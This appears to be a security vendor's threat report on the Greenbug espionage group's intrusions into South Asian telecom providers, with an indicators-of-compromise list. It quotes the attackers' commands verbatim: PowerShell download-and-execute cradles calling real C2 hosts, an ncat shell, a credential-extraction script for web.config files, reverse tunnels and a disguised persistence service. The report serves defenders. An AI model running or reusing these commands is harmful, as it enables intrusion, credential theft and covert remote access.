Sophisticated Espionage Group Turns Attention to Telecom Providers in South Asia

By About the Author

Archived: 2026-04-05 18:25:19 UTC

The Greenbug espionage group is actively targeting telecommunications companies in South Asia, with activity seen as recently as April 2020.

There are indications that at least one of the companies was first targeted as early as April 2019.

Email appears to be the initial infection vector used by the group. Greenbug is using a mixture of off-the-shelf tools and living-off-the-land techniques in these attacks. It appears the group is interested in gaining access to database servers; we see it stealing credentials then testing connectivity to these servers using the stolen credentials.

Greenbug is believed to likely be based out of Iran, and there has been speculation in the past that it has connections to the destructive Shamoon group, which has carried out disk-wiping attacks against organizations in Saudi Arabia. The Shamoon attacks have been extensively covered, but it was never clear how the attackers stole the credentials that allowed them to introduce their destructive malware onto victim systems. Research by Symantec, a division of Broadcom (NASDAQ: AVGO), in 2017 found evidence that Greenbug was on an organization's network prior to a wiping attack that involved W32.Disttrack.B (Shamoon's malware). This link was never definitively established, but cooperation between the two groups is considered a possibility.

Much of the activity we saw in this attack campaign is in line with activity we have seen from Greenbug in the past, including the use of email as an initial infection vector, the use of publicly available hack tools like Mimikatz and Plink, and the apparent focus on collecting credentials and maintaining a persistent, low-profile presence on victim networks.

Infection vector

Across multiple victim machines, a file named proposal_pakistan110.chm:error.html was executed via an internet browser. We also see the same file being opened by archiver tools. While we were unable to retrieve the file for analysis, the same technique has been leveraged by Greenbug in the past, as early as 2016. In these earlier attacks, emails were sent to targets containing a link to a likely compromised site, which hosted an archive file. This archive contains a malicious CHM file (compiled HTML Help file), which includes an ADS (alternative data steam) to hide its payload, which is installed when executed. This file usually also contains a decoy PDF file containing an error message that says the file could not be opened correctly.

We have also seen similarly named files used in other organizations in the past to drop Trojan.Ismdoor, Greenbug's custom malware.

Around the same time as we saw this file, a file called GRUNTStager.hta was also executed. Symantec believes the attackers used the publically available Covenant post-exploitation framework in order to gain an initial foothold in their target organizations.

Covenant is a publicly available hack tool that is described as "a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform." It is described as being for use by "red teams," but is also open to being abused by malicious actors.

Case study: Six-month intrusion

Greenbug was present on the systems of one organization from October 2019 to April 2020. It appeared to be interested in gaining access to the organization's database server. The attackers were observed executing various PowerShell commands on the victim system.

The first activity was seen on October 11, 2019, when a malicious PowerShell command was executed to install a CobaltStrike Beacon module to download the next stage payload.

We were able to extract two command and control (C&C) server addresses from the PowerShell command.

Initially, the attackers leveraged this access to execute PowerShell to determine the version of PowerShell installed via $PSVersionTable. After this, we observed the attackers proceed to attempt to download a malicious file hosted on the same previously mentioned C&C server.

- PowerShell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadstring('http://95[.]179.177.157:445/0Zu5WpWN');

This command was executed several times but it is unclear if the attackers were successful. Approximately an hour later, the attackers were also observed attempting to perform a download to CSIDL_APPDATA\a8f4.exe via the bitsadmin utility

- bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe

The BITS administration utility can be used to download or upload jobs to be executed. It is a legitimate tool that we commonly see abused by malicious actors. The attackers used this tool to download additional malicious tools to the compromised machine.

A short time later, the attackers executed several tools from CSIDL_SYSTEM86\[REDACTED] directory:

Hash	**Directory**	**Tool**
2a3f36c849d9fbfe510c00ac4aca1750452cd8f6d8b1bc234d22bc0c40ea1613	csidl_system_drive\[REDACTED]	revshell.exe
9809aeb6fd388db9ba60843d5a8489fea268ba30e3935cb142ed914d49c79ac5	csidl_system_drive\[REDACTED]	printers.exe
3c6bc3294a0b4b6e95f747ec847660ce22c5c4eee2681d02cc63f2a88d2d0b86	csidl_system_drive\[REDACTED]	msf.exe

The attackers were then seen launching PowerShell and attempting to execute a PowerShell script called msf.ps1.

- PowerShell.exe -ExecutionPolicy Bypass -File CSIDL_SYSTEM_DRIVE\[REDACTED]\msf.ps1

This command was executed several times and is likely used to install a Metasploit payload to retain access to the compromised machine. That is the last activity seen on that day.

No further activity was observed until February 6, 2020, when a suspicious PowerShell command was executed. The PowerShell command follows the execution of the w3wp.exe process – an application that is used to serve requests to a web application. This may indicate that the attackers have used a webshell on the compromised machine.

The following is a copy of the PowerShell command executed by the attackers:

- $ErrorActionPreference = 'SilentlyContinue';$path="C:\[REDACTED]\";Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if

($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null){;$tempdir = (Get-Date).Ticks;new-item $env:temp\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\$tempdir;$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + ' -pdf ""connectionStrings"" ' + $env:temp + '\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\$tempdir\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host ""$file.Fullname --- $_.connectionString""} } };

This command is used to search for files similar to web.config. For each file found, it extracts username and password information where possible, decrypting it using the *aspnet_regiis.exe* utility. These credentials may be used to access organizational resources such as SQL servers.

Further activity was seen on February 12 and February 14. On February 12, the attackers returned and executed a tool: *pls.exe*. An hour later, the attackers bound cmd.exe to a listening port using *netcat* with the following command:

- CSIDL_SYSTEM_DRIVE\[REDACTED]\infopagesbackup\ncat.exe [REDACTED] 8989 -e cmd.exe

The same command was issued again about 20 minutes later.

Two days later, at 7.29am local-time, the attackers returned and connected to the listening port, launching cmd.exe.

They issued the following commands:

Command	**Description**
CSIDL_SYSTEM\cmd.exe" /c net user"	List all available local user accounts and information
PowerShell -c Get-PSDrive -PSProvider \" FileSystem\"""""""""	List all available drives on the filesystem and related information (e.g. available space, location etc.)

The next day (February 15) the attackers returned to the command prompt and issued a command to add a user and then checked that the user was added. No further activity was observed until March 4, when a PowerShell command was launched at 6.30pm local time. A WMI command was also observed being executed and used to search for a specific account. Shortly after this, the well-known credential-stealing tool Mimikatz was executed from %USERPROFILE%\documents\x64.

On March 11, the attackers attempted to connect to a database server via PowerShell, presumably using credentials they had stolen. The attackers also used an SQL command to retrieve the version information of the database server, presumably to test the credentials and connectivity.

- PowerShell -C $conn=new-object System.Data.SqlClient.SQLConnection(" ""Data Source=[REDACTED];User [REDACTED] { $conn.Open(); }Catch { continue; }$cmd = new-object System.Data.SqlClient.SqlCommand(" ""select @@version;" "", $conn);$ds=New-Object system.Data.DataSet;$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd); [void]$da.fill($ds);$ds.Tables[0];$conn.Close();""

Further activity was seen in April. On April 8, suspicious PowerShell commands were observed attempting to download tools from a remote host.

- PowerShell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX

$k.downloadstring('http://185.205.210.46:1003/iO0RBYy3O');

- PowerShell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://185.205.210.46:1131/t8daWgy9j13');

That was the only activity seen on April 8, then on April 13 PowerShell was launched and the following commands were observed being executed:

Command	Description
PowerShell.exe" -noninteractive -executionpolicy bypass whoami"	Check the account name of the current user executing the command
PowerShell.exe" -noninteractive -executionpolicy bypass netstat -a"	Network routing information

Next, PowerShell was used to connect to a database server and check the version information, likely to confirm working credentials. This is similar to the previous PowerShell command observed with the exception of a different database server IP address.

Finally, the attackers used PowerShell to view the current ARP table (IPs and hostname of machines that have recently been communicated with) via an arp -a command. That is the last activity we observed on this machine.

A number of suspicious files were found on this machine (see IoCs). The files include the Covenant tool and Mimikatz, as already mentioned, as well as Cobalt Strike, an off-the-shelf tool that can be used to load shellcode onto victim machines, and multiple webshells.

Other machines on the same network

We saw suspicious activity on various machines on this same victim's network. The attackers targeted several other users within the organization with the same file, proposal_pakistan110.chm:error.html, which was opened by an archiver tool and, in one instance, via the Microsoft Edge browser. Following this, we observed a backdoor being executed on the machine, alongside additional tools downloaded to the %APPDATA% directory from the attacker's infrastructure.

Hash	Directory	Tool
450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd	CSIDL_COMMON_APPDATA\oracle	local.ex
ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc	CSIDL_COMMON_APPDATA\adobe	adobe.e
071e20a982ea6b8f9d482685010be7aaf036401ea45e2977aca867cedcdb0217	c:\programdata\oracle	java.ee

Tunnels back to attackers

On one machine in this organization, we saw some suspicious PowerShell commands executed on December 9. One of the files executed by PowerShell, comms.exe, is Plink. A second similar command used the Bitvise command line tunneling client. Both tools are used to set up a tunnel to attacker-controlled infrastructure to allow Terminal Services and RDP access to an internal machine.

- "CSIDL_COMMON_APPDATA\comms\comms.exe" apps.vvvnews.com -P <?,?> -l <?,?> -pw <?,?> -proxytype http_basic –proxyip [REDACTED] -proxyport 8080 -proxyuser [REDACTED].haq -proxypass [REDACTED] -C -R [REDACTED]:4015:[REDACTED]:1540

- "CSIDL_COMMON_APPDATA\comms\comms.exe" [REDACTED] -pw=[REDACTED] -s2c=[REDACTED] 1819 [REDACTED] 3389 -proxy=y -proxyType=HTTP -proxyServer=[REDACTED] -proxyPort=8080 -proxyUsername=[REDACTED]\[REDACTED].haq -proxyPassword=<?,?>

Tools such as Plink and Bitvise are legitimate sysadmin tools, but have been seen being exploited by malicious actors before, including by Iranian actors earlier this year.

Plink was also seen on a second machine in this organization, which appears to have been compromised from November 2019 up to April 2020. The first suspicious activity on this machine was seen on November 13, when PowerShell Remoting was enabled on the machine to allow it to receive PowerShell commands.

A PowerShell command was used to download a file from attacker controlled infrastructure and launch it with a specific argument.

- (New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yft.dat', 'C:\Programdata\VMware\Vmware.exe');
  start-process C:\Programdata\VMware\Vmware.exe -arg 'L3NlcnZlcj12c2llZ3J1LmNvbSAvaWQ9NDE=';

The argument decodes to /server=vsiegru.com /id=41. Shortly after this the Plink utility was executed to establish a connection to the victim network. A second PowerShell command was then executed as follows:

- Del -force C:\Programdata\Vmware\Vmware.exe;
  (New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews.com:8080/Yf.dat', 'C:\Programdata\Nt.dat');
  move C:\Programdata\Nt.dat C:\Programdata\Vmware\VMware.exe -force;
  cmd.exe /c sc create "VMwareUpdate" binpath= "C:\Programdata\Vmware\VMware.exe L3NlcnZlcj1rb3BpbGthb3J1a292LmNvbSAvaWQ9NDkgL3Byb3h5PXllcyAvcHJveHl1cmw…[REDACTED]…BUTUxcamF2ZWQubmFiaSAvcGFzc3dvcmQ9cHRtbEAyMjMz" displayname= "VMware Update Service" start= auto;
  start-service VMwareUpdate;
  Exit;

The encoded argument decodes to the following:

- /server=kopilkaorukov.com /id=49 /proxy=yes /proxyurl=http://[REDACTED]:8080 /credential=yes /username=[REDACTED]\[REDACTED] /password=[REDACTED]

The attackers were then seen adding a user to the administrators group on this machine. Two further PowerShell commands were executed on the machine about a week later, on November 16.

The first decodes to the following:

iex ((New-Object Net.WebClient).DownloadString('http://apps[.]vvvnews.com:8080/Default.htt'))

As the attackers have set up a tunnel, using the Plink tool, all connections appear to be routing to internal machine IP addresses. This was likely done as a means to evade detection.

Activity targeting telecoms

Greenbug's activity in this campaign seems to make it clear that its main focus with these victims is to steal credentials, and to maintain a low profile on the victim's network so the attackers can remain on it for a substantial period of time. This is typical of the activity we have seen in Greenbug victims in the past, with maintaining persistence on a victim network appearing to be one of the group's primary goals. Greenbug has also been observed targeting telecoms companies in this same region in previous attack campaigns.

The setting up of tunnels shows how important keeping a low-profile is for this group. Its focus on stealing credentials, and on establishing connections with database servers, shows that it is aiming to achieve a high level of access to a victim's network - access that if exploited could cause havoc on a compromised network very quickly. This level of access, if leveraged by actors using disruptive malware or ransomware, could shut down an organization's entire network very quickly.

Previous victims of Greenbug have included organizations in the aviation, government, investment, and education sectors, as well as the telecoms sector, with attacks against telecoms organizations in the Middle East in 2017. In 2019, we observed 18 nation-state backed groups targeting the telecoms sector worldwide, so it seems to be an area of interest for sophisticated actors recently.

It is probably not too hard to understand why the telecommunications industry, made up of phone providers and internet service providers (ISPs), is attractive to APT groups, whose main motivation is most often intelligence gathering. The access to calls, communications logs, and messages offered by telecoms companies makes them hugely valuable targets for these attackers.

We can only speculate about Greenbug's motives for targeting these specific telecoms companies, but it is clear that comprehensive and persistent access to victim networks remains the key priority for this group.

Protection

Symantec products protect against threats discussed in this blog with the following detections:

- Trojan.Ismdoor
- Trojan.Ismdoor!gen1
- System Infected: Trojan.Ismdoor Activity

Indicators of Compromise (IoCs)

Type	Value	Description
Domain	apps.vvvnews.com	C2
Domain	vsiegru.com	C2
Domain	kopilkaorukov.com	C2
Filename	GruntStager.hta	Covenant stager
Hash	2a3f36c849d9fbfe510c00ac4aca1750452cd8f6d8b1bc234d22bc0c40ea1613	Reverse Shell
Hash	9809aeb6fd388db9ba60843d5a8489fea268ba30e3935cb142ed914d49c79ac5	Infostealer
Hash	3c6bc3294a0b4b6e95f747ec847660ce22c5c4eee2681d02cc63f2a88d2d0b86	Backdoor
Hash	ece23612029589623e0ae27da942440a9b0a9cd4f9681ec866613e64a247969d	Mimikatz
Hash	b8797931ad99b983239980359ef0ae132615ebedbf6fcb0c0e9979404b4a02a8	Webshell
Hash	9de28b94aa3f1a849221cf74224554b41a77473c694cadf3f2526ab06480eb85	Webshell
Hash	b51eca570abad9341a08ae4d153d2c64827db876ee0491eb941d7e9a48d43554	Webshell
Hash	16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218	Webshell
Hash	abb3ddc945d147a4ed435b71490764bc4a2860f4ad264052f407357911bd6746	Webshell

Type	Value	Description
Hash	6cb51c7011f27418c772124d4433350a534061f5732c1331f5483d62b42402f7	Webshell
Hash	9bf8121e0f3461412dde107c4d1ceb2ed18ec0741f458956830e038fd1be6d44	Webshell
Hash	75cee6136011516dfe7bd9e45b25c2cf5d9af149a81fff0b8b3ab157a8cbf321	Covenant stager
Hash	e974237c32f5d28019c5328bd022469236da87eecee19487902133aea89432a0	Covenant stager
Hash	f577fc8f22b6eec782dbcbe54f5a8f3b00e8e6d8dc7aa94b2fffcc2b7ce09c6a	Covenant stager
Hash	53bbc9ebe40725bd74ebf29616f48a8aed0a544dd0e4f40801ac1b522f2cf32f	CHM file
Hash	fd95ffb7c70f828ef021e7dbdaf852f54f385095e7f58607f093096b68f40a32	Backdoor
Hash	071e20a982ea6b8f9d482685010be7aaf036401ea45e2977aca867cedcdb0217	Unknown
Hash	ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc	Backdoor
Hash	4c7813a1f3eb5d5d8b8a1e53af074c96cfc6ddb14b21188fd84970f001bfc0ff	Unknown
Hash	471dadfe16cf2cf82566d404d2b7d1baf66b72c385ae272dcc743a285113e280	CHM file
Hash	069a29a0642ea5e2034250f5465cb2230edf1b49ad42d16ff4cddfee1f693314	Unknown
Hash	faba07425c1fa65a9a68a17b99e83663a2a32fbb2a7c3df347b7a7411a7058bc	Unknown
Hash	0644b3ffc856eb54b53338ab8ecd22dd005ee5aacfe321f4e61b763a93f82aea	Unknown
Hash	fc002268620fa67ffe260ea9f3a6bbad8637f9bef8ae85b8d6061cec0390b9e2	Unknown
Hash	450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd	Unknown
IP Address	95.179.177.157	Covenant C2
IP Address	185.205.210.46	Powershell C2
IP Address	185.243.115.69	Proxy tunnel
IP Address	185.243.114.247	Proxy tunnel

You might also enjoy
